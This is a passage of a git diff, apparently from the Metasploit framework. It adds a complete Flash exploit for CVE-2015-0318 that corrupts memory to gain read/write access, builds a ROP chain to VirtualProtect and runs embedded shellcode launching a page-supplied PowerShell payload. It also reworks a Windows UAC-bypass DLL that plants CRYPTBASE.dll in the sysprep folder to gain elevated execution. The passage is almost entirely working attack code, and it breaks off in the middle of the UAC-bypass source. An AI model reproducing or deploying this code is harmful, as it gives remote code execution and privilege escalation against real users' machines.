0x90909090; + //v[i++] = 0xcccccccc; // Sort of handy for debugging purposes + + + // we just put things back how they were; at least, everything + // important. we need esp and ebp to be correct, which is easy; + // we need ecx to point to the object's vtable and then we can + // just jump to the actual method implementation as though we + // had hooked it. + + v[i++] = 0x0bf8c481; // 81C4F80B0000 add esp,0xbf8 + v[i++] = 0x90900000; + v[i++] = 0x1c24ac8d; // 8DAC241c120000 lea ebp,[esp+0x121c] + v[i++] = 0x90000012; + v[i++] = 0xb9909090; // B944434241 mov ecx, vtable_ptr + v[i++] = ptr; + v[i++] = 0xb8909090; // B844434241 mov eax, orig_function_ptr + v[i++] = fun; + v[i++] = 0x9090e0ff; // FFE0 jmp eax + } + + public function GetPayload():Array { + // Grab the powershell payload from the sh parameter in the HTML file + var b64:Base64Decoder = new Base64Decoder(); + var raw_psh_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh; + b64.decode(raw_psh_payload); + var psh_payload:String = b64.toByteArray().toString(); + + // This is generated from here: + // ./msfvenom -p windows/exec CMD=AAAA -f ruby -e generic/none + // The original souce can be found at: msf/externa/source/shellcode/single_exec.asm + var payload:String = "" + + "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30\x8b\x52\x0c\x8b\x52\x14" + + "\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7" + + "\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1\x51\x8b\x59" + + "\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01" + + "\xc7\x38\xe0\x75\xf6\x03\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b" + + "\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a" + + "\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb\x8d\x5d\x6a\x01\x8d\x85\xb2\x00\x00\x00\x50\x68" + + "\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c" + + "\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5" + psh_payload + "\x00"; + + // Here we convert the binary string to an array of DWORDS + var arr:Array = new Array(); + for (var d_counter:int = 0; d_counter < payload.length; d_counter+=4) { + var dword:String = payload.substring(d_counter, d_counter+4).split("").reverse().join(""); + var hex:String = ""; + for (var i2:int = 0; i2 < dword.length; i2++) { + var byte:String = dword.charCodeAt(i2).toString(16); + // The toString(16) conversion doesn't print zeros the way we want it. + // Like for example: for a null byte, it returns: '0', but the format should be: '00' + // Another example: For 0x0c, it returns 'c', but it should be '0c' + if (byte == '0') { + byte = "00"; + } else if (byte.length == 1) { + byte = '0' + byte; + } + hex += byte; + } + var real_dword:uint = parseInt(hex, 16); + arr.push(real_dword); + } + + return arr; + } + + + public function Main() { + i = 0; + + Initialise(); + + var r:RegExp = CompileRegex(); + if (r == null) { + return; + } + + Debug("Corrupting Vector"); + + var v:Vector. = CorruptVector(r); + if (v == null) { + Debug("CorruptVector returns null"); + return; + } + + var m:Memory = new Memory(v, v[0], 0x6e); + + // at this point we have an absolute read/write primitive letting + // us read and write dwords anywhere in memory, so everything else + // is a technicality. + + // we need an exception handler from here, because we have a vector + // that's addressing the whole address space, and if anything goes + // wrong, we want to clean that up or things will get unpleasant. + + try { + + // first we follow some pointers on the heap back to retrieve + // the address of the static GCHeap object in the flash module. + + // this is useful for two reasons; firstly it gives us a + // pointer into the flash module, but secondly (and more + // importantly) we can use the region lists in the GCHeap + // structure to safely scan the heap to find things. + + var gcheap:uint = FindGCHeap(m); + if (gcheap == 0) { + return; + } + + // now we can parse the flash module in memory, locate useful + // imports and find the stack adjust gadget that we need. + + Debug('[*] scanning flash module for gadgets'); + var p:PE32 = new PE32(m, gcheap); + + Debug(' [-] ' + p.base.toString(16) + ' flash base'); + + var virtual_protect:uint = p.GetImport('KERNEL32.dll', 'VirtualProtect'); + Debug(' [-] ' + virtual_protect.toString(16) + ' kernel32!VirtualProtect'); + + // Find this in Flash + // 81 c4 40 00 00 00 add esp, 40h + // c3 ret + var gadget_bytes:ByteArray = new ByteArray(); + gadget_bytes.length = 7; + gadget_bytes.writeByte(0x81); + gadget_bytes.writeByte(0xc4); + gadget_bytes.writeByte(0x40); + gadget_bytes.writeByte(0x00); + gadget_bytes.writeByte(0x00); + gadget_bytes.writeByte(0x00); + gadget_bytes.writeByte(0xc3); + + var add_esp_40h_ret:uint = p.GetGadget(gadget_bytes); + var ret:uint = add_esp_40h_ret + 6; + Debug(' [-] ' + add_esp_40h_ret.toString(16) + ' add esp, 40h; ret'); + Debug(' [-] ' + ret.toString(16) + ' ret'); + + // now we create an actionscript class that we can readily + // signature on the heap; we're going to find this object and + // overwrite its vtable pointer to gain control of execution. + + Debug('[*] scanning heap to find pwned object'); + var pwned:Pwned = new Pwned(); + var pwned_ptr:uint = FindPwned(m, gcheap); + Debug('[*] pwned object: ' + pwned_ptr.toString(16)); + if (pwned_ptr == 0) { + return; + } + + // we have a pointer to the object; save the vtable pointer for + // replacement later and then create a new vtable containing + // our gadget at the correct offset for the 'Rop' function. + + // object ptr is actually a ScriptObject* for our ClassClosure? + var object_ptr:uint = m.read_dword(pwned_ptr + 8); + var vtable_ptr:uint = m.read_dword(object_ptr + 18 * 4); + var method_ptr:uint = m.read_dword(vtable_ptr + 4); + + var shellcode:uint = m.vector_base + 4; + + WriteShellcode(v, 1, vtable_ptr, method_ptr); + + // invoking the method first makes our life simpler; otherwise + // flash will go hunt for the right method, and recovery was + // quite messy. + + var a:uint = 0x61616161; + pwned.Rop( + a, a, a, a, a, a, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, + ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, + ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, + ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, + ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, + ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, + ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, + ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, + ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, + ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, + ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, + ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, + ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, + ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, + ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, + ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, add_esp_40h_ret); + + // overwrite the method pointer + m.write_dword(vtable_ptr + 4, add_esp_40h_ret); + + // fix up our vector length already, since we won't need it again. + m.Cleanup(); + + var PAGE_EXECUTE_READWRITE:uint = 0x40; + + // where better to rop than the actual stack :-P + Debug('[*] getting ma rop on'); + pwned.Rop( + + // ret sled oh yeah! + + // actually this is just me lazily making stack space so + // that VirtualProtect doesn't trample all over any of + // flash's stuff and make it have a sad. + + ret, ret, ret, ret, ret, ret, ret, ret, + ret, ret, ret, ret, ret, ret, ret, ret, + ret, ret, ret, ret, ret, ret, ret, ret, + ret, ret, ret, ret, ret, ret, ret, ret, + ret, ret, ret, ret, ret, ret, ret, ret, + ret, ret, ret, ret, ret, ret, ret, ret, + ret, ret, ret, ret, ret, ret, ret, ret, + ret, ret, ret, ret, ret, ret, ret, ret, // 3f + + ret, ret, ret, ret, ret, ret, ret, ret, + ret, ret, ret, ret, ret, ret, ret, ret, + ret, ret, ret, ret, ret, ret, ret, ret, + ret, ret, ret, ret, ret, ret, ret, ret, + ret, ret, ret, ret, ret, ret, ret, ret, + ret, ret, ret, ret, ret, ret, ret, ret, + ret, ret, ret, ret, ret, ret, ret, ret, + ret, ret, ret, ret, ret, ret, ret, ret, // 7f + + ret, ret, ret, ret, ret, ret, ret, ret, + ret, ret, ret, ret, ret, ret, ret, ret, + ret, ret, ret, ret, ret, ret, ret, ret, + ret, ret, ret, ret, ret, ret, ret, ret, + ret, ret, ret, ret, ret, ret, ret, ret, + ret, ret, ret, ret, ret, ret, ret, ret, + ret, ret, ret, ret, ret, ret, ret, ret, + ret, ret, ret, ret, ret, ret, ret, ret, // cf + + ret, ret, ret, ret, ret, ret, ret, ret, + ret, ret, ret, ret, ret, ret, ret, ret, + ret, ret, ret, ret, ret, ret, ret, ret, + ret, ret, ret, ret, ret, ret, ret, ret, + ret, ret, ret, ret, ret, ret, ret, ret, + ret, ret, ret, ret, ret, ret, ret, ret, + ret, ret, ret, ret, ret, ret, ret, ret, + + virtual_protect, // BOOL WINAPI VirtualProtect( + shellcode, // ... + shellcode, // LPVOID lpAddress, + 0x1000, // SIZE_T dwSize, + PAGE_EXECUTE_READWRITE, // DWORD flNewProtect, + m.vector_base, // LPDWORD lpflOldProtect + // ); + + 0x41414141, 0x41414141); + + Debug('[*] we survived!'); + + // no need to fix the vtable, as we only overwrote the pointer + // for the Rop method, and it won't get called again. + + } catch (e:Error) { + Debug('[!] error: ' + e.message); + } finally { + // we *always* need to clean up our corrupt vector as flash + // will try to zero it out later otherwise... + + Debug('[*] cleaning up corrupted vector'); + m.Cleanup(); + } + } + } +} \ No newline at end of file diff --git a/external/source/exploits/CVE-2015-0318/Memory.as b/external/source/exploits/CVE-2015-0318/Memory.as new file mode 100644 index 0000000000..5f307f80ac --- /dev/null +++ b/external/source/exploits/CVE-2015-0318/Memory.as @@ -0,0 +1,150 @@ +package +{ + // some utilities to encapsulate using the relative read/write of the + // corrupt vector. as an absolute read/write of the whole address + // space. + public class Memory + { + public var vector:Vector.; + public var vector_base:uint; + public var vector_size:uint; + + private static function negative(i:uint):uint { + return (~i) + 1; + } + + public function Memory(v:Vector., b:uint, s:uint) { + vector = v; + vector_base = b; + vector_size = s; + } + + public function Cleanup():void { + + // restore the correct size to our vector so that flash doesn't + // inadvertently trample on lots of memory. + + vector[negative(2)] = vector_size; + } + + public function read_dword(address:uint):uint { + var offset:uint = 0; + + if (address & 0x3 != 0) { + + // NB: we could read 2 dwords here, and produce the correct + // dword, but that could lead to oob reads if we're close to + // a page boundary. take the path of least danger, and throw + // for debugging. + + throw 'read_dword called with misaligned address' + } + + if (address < vector_base) { + offset = negative((vector_base - address) >> 2); + } + else { + offset = address - vector_base >> 2; + } + + try { + return vector[offset]; + } catch (e:Error) { + + // we can't read at offset 0xffffffff, sometimes we will want + // to, but that is just life. + } + + return 0; + } + + public function read_byte(address:uint):uint { + var dword_address:uint = address & 0xfffffffc; + var dword:uint = read_dword(dword_address); + + while (address & 0x3) { + dword = dword >> 8; + address -= 1; + } + + return (dword & 0xff); + } + + public function read_string(address:uint):String { + var string:String = ''; + var dword:uint = 0; + + while (address & 0x3) { + var char:uint = read_byte(address); + + if (char == 0) { + return string; + } + + string += String.fromCharCode(char); + address += 1; + } + + while (true) { + dword = read_dword(address); + if ((dword & 0xff) != 0) { + string += String.fromCharCode(dword & 0xff); + dword = dword >> 8; + } + else { + return string; + } + + if ((dword & 0xff) != 0) { + string += String.fromCharCode(dword & 0xff); + dword = dword >> 8; + } + else { + return string; + } + + if ((dword & 0xff) != 0) { + string += String.fromCharCode(dword & 0xff); + dword = dword >> 8; + } + else { + return string; + } + + if ((dword & 0xff) != 0) { + string += String.fromCharCode(dword & 0xff); + } + else { + return string; + } + + address += 4; + } + + return string; + } + + public function write_dword(address:uint, value:uint):void { + var offset:uint = 0; + + if (address & 0x3 != 0) { + + // NB: we could read 2 dwords here, and write 2 dwords, and + // produce the correct dword, but that could lead to oob reads + // and writes if we're close to a page boundary. take the path + // of least danger, and throw for debugging. + + throw 'write_dword called with misaligned address' + } + + if (address < vector_base) { + offset = negative((vector_base - address) >> 2); + } + else { + offset = (address - vector_base) >> 2; + } + + vector[offset] = value; + } + } +} \ No newline at end of file diff --git a/external/source/exploits/CVE-2015-0318/PE32.as b/external/source/exploits/CVE-2015-0318/PE32.as new file mode 100644 index 0000000000..638cabbffc --- /dev/null +++ b/external/source/exploits/CVE-2015-0318/PE32.as @@ -0,0 +1,157 @@ +package +{ + import flash.utils.ByteArray; + + public class PE32 + { + private var m:Memory; + + public var base:uint; + public var dos_header:uint; + public var nt_header:uint; + public var file_header:uint; + public var opt_header:uint; + + private function FindBase(ptr:uint):uint { + ptr = ptr & 0xffff0000; + var dword:uint = m.read_dword(ptr); + + while ((dword & 0xffff) != 0x5a4d) { + ptr -= 0x10000; + dword = m.read_dword(ptr); + } + + return ptr; + } + + public function ParseHeaders():void { + dos_header = base; + var e_lfanew:uint = m.read_dword(dos_header + 60); + + nt_header = dos_header + e_lfanew; + var nt_magic:uint = m.read_dword(nt_header); + if (nt_magic != 0x00004550) { + dos_header = 0; + nt_header = 0; + return; + } + + file_header = nt_header + 4; + var machine:uint = m.read_dword(file_header); + if ((machine & 0xffff) != 0x014c) { + dos_header = 0; + nt_header = 0; + file_header = 0; + return; + } + + opt_header = nt_header + 24; + var opt_magic:uint = m.read_dword(opt_header); + if ((opt_magic & 0xffff) != 0x10b) { + dos_header = 0; + nt_header = 0; + file_header = 0; + opt_header = 0; + return; + } + } + + public function GetImport(mod_name:String, fun_name:String):uint { + if (base == 0 || dos_header == 0) { + return 0; + } + + var data_directory:uint = opt_header + 96; + + var import_dir:uint = data_directory + 8; + var import_rva:uint = m.read_dword(import_dir); + var import_size:uint = m.read_dword(import_dir + 4); + if (import_size == 0) { + return 0; + } + + var import_descriptor:uint = base + import_rva; + var orig_first_thunk:uint = m.read_dword(import_descriptor); + while (orig_first_thunk != 0) { + + var module_name_ptr:uint = + dos_header + m.read_dword(import_descriptor + 12); + + if (module_name_ptr != 0) { + var module_name:String = m.read_string(module_name_ptr); + if (module_name == mod_name) { + orig_first_thunk += dos_header; + break; + } + } + + import_descriptor += (5 * 4); + orig_first_thunk = m.read_dword(import_descriptor); + } + + var first_thunk:uint = dos_header + m.read_dword(import_descriptor + 16); + var thunk:uint = orig_first_thunk; + var import_by_name_rva:uint = m.read_dword(thunk); + while (import_by_name_rva != 0) { + var function_name_ptr:uint = dos_header + import_by_name_rva + 2; + + var function_name:String = m.read_string(function_name_ptr); + if (function_name == fun_name) { + return m.read_dword(first_thunk); + } + + thunk += 4; + first_thunk += 4; + import_by_name_rva = m.read_dword(thunk); + } + + return 0; + } + + public function GetGadget(gadget:ByteArray):uint { + var opt_header_size:uint = m.read_dword(file_header + 16) & 0xffff; + var section_count:uint = (m.read_dword(file_header) >> 16) & 0xffff; + var section_header:uint = opt_header + opt_header_size; + + for (var i:uint = 0; i < section_count; ++i) { + var characteristics:uint = m.read_dword(section_header + (9 * 4)); + + if ((characteristics & 0xe0000000) == 0x60000000) { + // this section is read/execute, so scan for gadget + + var section_rva:uint = m.read_dword(section_header + 12); + var section_size:uint = m.read_dword(section_header + 16); + var section_base:uint = base + section_rva; + var section:ByteArray = new ByteArray(); + section.endian = "littleEndian"; + section.length = section_size; + + for (var j:uint = 0; j < section_size; j += 4) { + section.writeUnsignedInt( + m.read_dword(section_base + j)); + } + + for (j = 0; j < section_size; j += 1) { + section.position = j; + gadget.position = 0; + while (section.readByte() == gadget.readByte()) { + if (gadget.position == gadget.length) { + return section_base + j; + } + } + } + } + + section_header += 10 * 5; + } + + return 0; + } + + public function PE32(memory:Memory, ptr:uint) { + m = memory; + base = FindBase(ptr); + ParseHeaders(); + } + } +} \ No newline at end of file diff --git a/external/source/exploits/CVE-2015-0318/Pwned.as b/external/source/exploits/CVE-2015-0318/Pwned.as new file mode 100644 index 0000000000..58e4e2b901 --- /dev/null +++ b/external/source/exploits/CVE-2015-0318/Pwned.as @@ -0,0 +1,51 @@ +package +{ + public class Pwned + { + public var magic1:uint; + public var magic2:uint; + + public function Rop( + arg_00:uint, arg_01:uint, arg_02:uint, arg_03:uint, arg_04:uint, arg_05:uint, arg_06:uint, arg_07:uint, + arg_08:uint, arg_09:uint, arg_0a:uint, arg_0b:uint, arg_0c:uint, arg_0d:uint, arg_0e:uint, arg_0f:uint, + arg_10:uint, arg_11:uint, arg_12:uint, arg_13:uint, arg_14:uint, arg_15:uint, arg_16:uint, arg_17:uint, + arg_18:uint, arg_19:uint, arg_1a:uint, arg_1b:uint, arg_1c:uint, arg_1d:uint, arg_1e:uint, arg_1f:uint, + arg_20:uint, arg_21:uint, arg_22:uint, arg_23:uint, arg_24:uint, arg_25:uint, arg_26:uint, arg_27:uint, + arg_28:uint, arg_29:uint, arg_2a:uint, arg_2b:uint, arg_2c:uint, arg_2d:uint, arg_2e:uint, arg_2f:uint, + arg_30:uint, arg_31:uint, arg_32:uint, arg_33:uint, arg_34:uint, arg_35:uint, arg_36:uint, arg_37:uint, + arg_38:uint, arg_39:uint, arg_3a:uint, arg_3b:uint, arg_3c:uint, arg_3d:uint, arg_3e:uint, arg_3f:uint, + arg_40:uint, arg_41:uint, arg_42:uint, arg_43:uint, arg_44:uint, arg_45:uint, arg_46:uint, arg_47:uint, + arg_48:uint, arg_49:uint, arg_4a:uint, arg_4b:uint, arg_4c:uint, arg_4d:uint, arg_4e:uint, arg_4f:uint, + arg_50:uint, arg_51:uint, arg_52:uint, arg_53:uint, arg_54:uint, arg_55:uint, arg_56:uint, arg_57:uint, + arg_58:uint, arg_59:uint, arg_5a:uint, arg_5b:uint, arg_5c:uint, arg_5d:uint, arg_5e:uint, arg_5f:uint, + arg_60:uint, arg_61:uint, arg_62:uint, arg_63:uint, arg_64:uint, arg_65:uint, arg_66:uint, arg_67:uint, + arg_68:uint, arg_69:uint, arg_6a:uint, arg_6b:uint, arg_6c:uint, arg_6d:uint, arg_6e:uint, arg_6f:uint, + arg_70:uint, arg_71:uint, arg_72:uint, arg_73:uint, arg_74:uint, arg_75:uint, arg_76:uint, arg_77:uint, + arg_78:uint, arg_79:uint, arg_7a:uint, arg_7b:uint, arg_7c:uint, arg_7d:uint, arg_7e:uint, arg_7f:uint, + arg_80:uint, arg_81:uint, arg_82:uint, arg_83:uint, arg_84:uint, arg_85:uint, arg_86:uint, arg_87:uint, + arg_88:uint, arg_89:uint, arg_8a:uint, arg_8b:uint, arg_8c:uint, arg_8d:uint, arg_8e:uint, arg_8f:uint, + arg_90:uint, arg_91:uint, arg_92:uint, arg_93:uint, arg_94:uint, arg_95:uint, arg_96:uint, arg_97:uint, + arg_98:uint, arg_99:uint, arg_9a:uint, arg_9b:uint, arg_9c:uint, arg_9d:uint, arg_9e:uint, arg_9f:uint, + arg_a0:uint, arg_a1:uint, arg_a2:uint, arg_a3:uint, arg_a4:uint, arg_a5:uint, arg_a6:uint, arg_a7:uint, + arg_a8:uint, arg_a9:uint, arg_aa:uint, arg_ab:uint, arg_ac:uint, arg_ad:uint, arg_ae:uint, arg_af:uint, + arg_b0:uint, arg_b1:uint, arg_b2:uint, arg_b3:uint, arg_b4:uint, arg_b5:uint, arg_b6:uint, arg_b7:uint, + arg_b8:uint, arg_b9:uint, arg_ba:uint, arg_bb:uint, arg_bc:uint, arg_bd:uint, arg_be:uint, arg_bf:uint, + arg_c0:uint, arg_c1:uint, arg_c2:uint, arg_c3:uint, arg_c4:uint, arg_c5:uint, arg_c6:uint, arg_c7:uint, + arg_c8:uint, arg_c9:uint, arg_ca:uint, arg_cb:uint, arg_cc:uint, arg_cd:uint, arg_ce:uint, arg_cf:uint, + arg_d0:uint, arg_d1:uint, arg_d2:uint, arg_d3:uint, arg_d4:uint, arg_d5:uint, arg_d6:uint, arg_d7:uint, + arg_d8:uint, arg_d9:uint, arg_da:uint, arg_db:uint, arg_dc:uint, arg_dd:uint, arg_de:uint, arg_df:uint, + arg_e0:uint, arg_e1:uint, arg_e2:uint, arg_e3:uint, arg_e4:uint, arg_e5:uint, arg_e6:uint, arg_e7:uint, + arg_e8:uint, arg_e9:uint, arg_ea:uint, arg_eb:uint, arg_ec:uint, arg_ed:uint, arg_ee:uint, arg_ef:uint, + arg_f0:uint, arg_f1:uint, arg_f2:uint, arg_f3:uint, arg_f4:uint, arg_f5:uint, arg_f6:uint, arg_f7:uint, + arg_f8:uint, arg_f9:uint, arg_fa:uint, arg_fb:uint, arg_fc:uint, arg_fd:uint, arg_fe:uint, arg_ff:uint):uint + { + return magic1 + magic2; + } + + public function Pwned() + { + magic1 = 0xdecafbad; + magic2 = 0xdecafbad; + } + } +} \ No newline at end of file diff --git a/external/source/exploits/bypassuac_injection/dll/reflective_dll.vcxproj b/external/source/exploits/bypassuac_injection/dll/reflective_dll.vcxproj index 0695003480..e4b84d4ce1 100644 --- a/external/source/exploits/bypassuac_injection/dll/reflective_dll.vcxproj +++ b/external/source/exploits/bypassuac_injection/dll/reflective_dll.vcxproj @@ -93,7 +93,7 @@ Disabled - WIN32;_DEBUG;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS;%(PreprocessorDefinitions) + WIN32;_DEBUG;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS;;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions) true EnableFastChecks MultiThreadedDebugDLL @@ -132,7 +132,7 @@ MaxSpeed OnlyExplicitInline true - WIN32;NDEBUG;_WINDOWS;_USRDLL;WIN_X86;REFLECTIVE_DLL_EXPORTS;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions) + WIN32;NDEBUG;_WINDOWS;_USRDLL;WIN_X86;REFLECTIVE_DLL_EXPORTS;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;;%(PreprocessorDefinitions) MultiThreaded true @@ -190,13 +190,13 @@ copy /y "$(TargetDir)$(TargetFileName)" "..\..\..\..\..\data\post\" - + - + diff --git a/external/source/exploits/bypassuac_injection/dll/src/Exploit.cpp b/external/source/exploits/bypassuac_injection/dll/src/Exploit.cpp old mode 100644 new mode 100755 index 4f0ba9b113..1f27187277 --- a/external/source/exploits/bypassuac_injection/dll/src/Exploit.cpp +++ b/external/source/exploits/bypassuac_injection/dll/src/Exploit.cpp @@ -1,119 +1,158 @@ +#include "ReflectiveLoader.h" #include "Exploit.h" -void exploit() -{ +#define SAFERELEASE(x) if(NULL != x){x->Release(); x = NULL;} - const wchar_t *szSysPrepDir = L"\\System32\\sysprep\\"; - const wchar_t *szSysPrepDir_syswow64 = L"\\Sysnative\\sysprep\\"; - const wchar_t *sySysPrepExe = L"sysprep.exe"; - const wchar_t *szElevDll = L"CRYPTBASE.dll"; - const wchar_t *szSourceDll = L"CRYPTBASE.dll"; - wchar_t szElevDir[MAX_PATH] = {}; - wchar_t szElevDir_syswow64[MAX_PATH] = {}; - wchar_t szElevDllFull[MAX_PATH] = {}; - wchar_t szElevDllFull_syswow64[MAX_PATH] = {}; - wchar_t szElevExeFull[MAX_PATH] = {}; - wchar_t path[MAX_PATH] = {}; - wchar_t windir[MAX_PATH] = {}; - const wchar_t *szElevArgs = L""; - const wchar_t *szEIFOMoniker = NULL; - PVOID OldValue = NULL; +extern "C" { - IFileOperation *pFileOp = NULL; - IShellItem *pSHISource = 0; - IShellItem *pSHIDestination = 0; - IShellItem *pSHIDelete = 0; + void exploit(BypassUacPaths const * const paths) + { + const wchar_t *szElevArgs = L""; + const wchar_t *szEIFOMoniker = NULL; - const IID *pIID_EIFO = &__uuidof(IFileOperation); - const IID *pIID_EIFOClass = &__uuidof(FileOperation); - const IID *pIID_ShellItem2 = &__uuidof(IShellItem2); + PVOID OldValue = NULL; - GetWindowsDirectoryW(windir, MAX_PATH); - GetTempPathW(MAX_PATH, path); + IFileOperation *pFileOp = NULL; + IShellItem *pSHISource = 0; + IShellItem *pSHIDestination = 0; + IShellItem *pSHIDelete = 0; - /* %temp%\cryptbase.dll */ - wcscat_s(path, MAX_PATH, szSourceDll); - - /* %windir%\System32\sysprep\ */ - wcscat_s(szElevDir, MAX_PATH, windir); - wcscat_s(szElevDir, MAX_PATH, szSysPrepDir); + BOOL bComInitialised = FALSE; - /* %windir%\sysnative\sysprep\ */ - wcscat_s(szElevDir_syswow64, MAX_PATH, windir); - wcscat_s(szElevDir_syswow64, MAX_PATH, szSysPrepDir_syswow64); + const IID *pIID_EIFO = &__uuidof(IFileOperation); + const IID *pIID_EIFOClass = &__uuidof(FileOperation); + const IID *pIID_ShellItem2 = &__uuidof(IShellItem2); - /* %windir\system32\sysprep\cryptbase.dll */ - wcscat_s(szElevDllFull, MAX_PATH, szElevDir); - wcscat_s(szElevDllFull, MAX_PATH, szElevDll); + dprintf("[BYPASSUACINJ] szElevDir = %S", paths->szElevDir); + dprintf("[BYPASSUACINJ] szElevDirSysWow64 = %S", paths->szElevDirSysWow64); + dprintf("[BYPASSUACINJ] szElevDll = %S", paths->szElevDll); + dprintf("[BYPASSUACINJ] szElevDllFull = %S", paths->szElevDllFull); + dprintf("[BYPASSUACINJ] szElevExeFull = %S", paths->szElevExeFull); + dprintf("[BYPASSUACINJ] szDllTempPath = %S", paths->szDllTempPath); - /* %windir\sysnative\sysprep\cryptbase.dll */ - wcscat_s(szElevDllFull_syswow64, MAX_PATH, szElevDir_syswow64); - wcscat_s(szElevDllFull_syswow64, MAX_PATH, szElevDll); - - /* %windir%\system32\sysprep\sysprep.exe */ - wcscat_s(szElevExeFull, MAX_PATH, szElevDir); - wcscat_s(szElevExeFull, MAX_PATH, sySysPrepExe); - - if (CoInitialize(NULL) == S_OK) - { - if (CoCreateInstance(*pIID_EIFOClass, NULL, CLSCTX_LOCAL_SERVER | CLSCTX_INPROC_SERVER | CLSCTX_INPROC_HANDLER, *pIID_EIFO, (void**) &pFileOp) == S_OK) + do { - if (pFileOp->SetOperationFlags(FOF_NOCONFIRMATION | FOF_NOERRORUI | FOF_SILENT | FOFX_SHOWELEVATIONPROMPT | FOFX_NOCOPYHOOKS | FOFX_REQUIREELEVATION) == S_OK) + if (CoInitialize(NULL) != S_OK) { - if (SHCreateItemFromParsingName((PCWSTR) path, NULL, *pIID_ShellItem2, (void**) &pSHISource) == S_OK) - { - if (SHCreateItemFromParsingName(szElevDir, NULL, *pIID_ShellItem2, (void**) &pSHIDestination) == S_OK) - { - if (pFileOp->CopyItem(pSHISource, pSHIDestination, szElevDll, NULL) == S_OK) - { - /* Copy the DLL file to the sysprep folder*/ - if (pFileOp->PerformOperations() == S_OK) - { - /* Execute sysprep.exe */ - SHELLEXECUTEINFOW shinfo; - ZeroMemory(&shinfo, sizeof(shinfo)); - shinfo.cbSize = sizeof(shinfo); - shinfo.fMask = SEE_MASK_NOCLOSEPROCESS; - shinfo.lpFile = szElevExeFull; - shinfo.lpParameters = szElevArgs; - shinfo.lpDirectory = szElevDir; - shinfo.nShow = SW_HIDE; - - Wow64DisableWow64FsRedirection(&OldValue); - if (ShellExecuteExW(&shinfo) && shinfo.hProcess != NULL) - { - WaitForSingleObject(shinfo.hProcess, 10000); - CloseHandle(shinfo.hProcess); - } - - if (S_OK == SHCreateItemFromParsingName(szElevDllFull, NULL, *pIID_ShellItem2, (void**)&pSHIDelete)) - { - if (0 != pSHIDelete) - { - if (S_OK == pFileOp->DeleteItem(pSHIDelete, NULL)) - { - pFileOp->PerformOperations(); - // If we fail to delete the file probably SYSWOW64 process so use SYSNATIVE to get the correct path - // DisableWOW64Redirect fails at this? Possibly due to how it interacts with UAC see: - // http://msdn.microsoft.com/en-us/library/windows/desktop/aa384187(v=vs.85).aspx - if (S_OK == SHCreateItemFromParsingName(szElevDllFull_syswow64, NULL, *pIID_ShellItem2, (void**)&pSHIDelete)) - { - if (0 != pSHIDelete) - { - if (S_OK == pFileOp->DeleteItem(pSHIDelete, NULL)) - { - pFileOp->PerformOperations(); - } - } - } - } - } - } - } - } - } - } + dprintf("[BYPASSUACINJ] Failed to initialize COM"); + break; } + + bComInitialised = TRUE; + + if (CoCreateInstance(*pIID_EIFOClass, NULL, CLSCTX_LOCAL_SERVER | CLSCTX_INPROC_SERVER | CLSCTX_INPROC_HANDLER, *pIID_EIFO, (void**)&pFileOp) != S_OK) + { + dprintf("[BYPASSUACINJ] Couldn't create EIFO instance"); + break; + } + + if (pFileOp->SetOperationFlags(FOF_NOCONFIRMATION | FOF_NOERRORUI | FOF_SILENT | FOFX_SHOWELEVATIONPROMPT | FOFX_NOCOPYHOOKS | FOFX_REQUIREELEVATION) != S_OK) + { + dprintf("[BYPASSUACINJ] Couldn't Set operating flags on file op."); + break; + } + + if (SHCreateItemFromParsingName((PCWSTR)paths->szDllTempPath, NULL, *pIID_ShellItem2, (void**)&pSHISource) != S_OK) + { + dprintf("[BYPASSUACINJ] Unable to create item from name (source)"); + break; + } + + if (SHCreateItemFromParsingName(paths->szElevDir, NULL, *pIID_ShellItem2, (void**)&pSHIDestination) != S_OK) + { + dprintf("[BYPASSUACINJ] 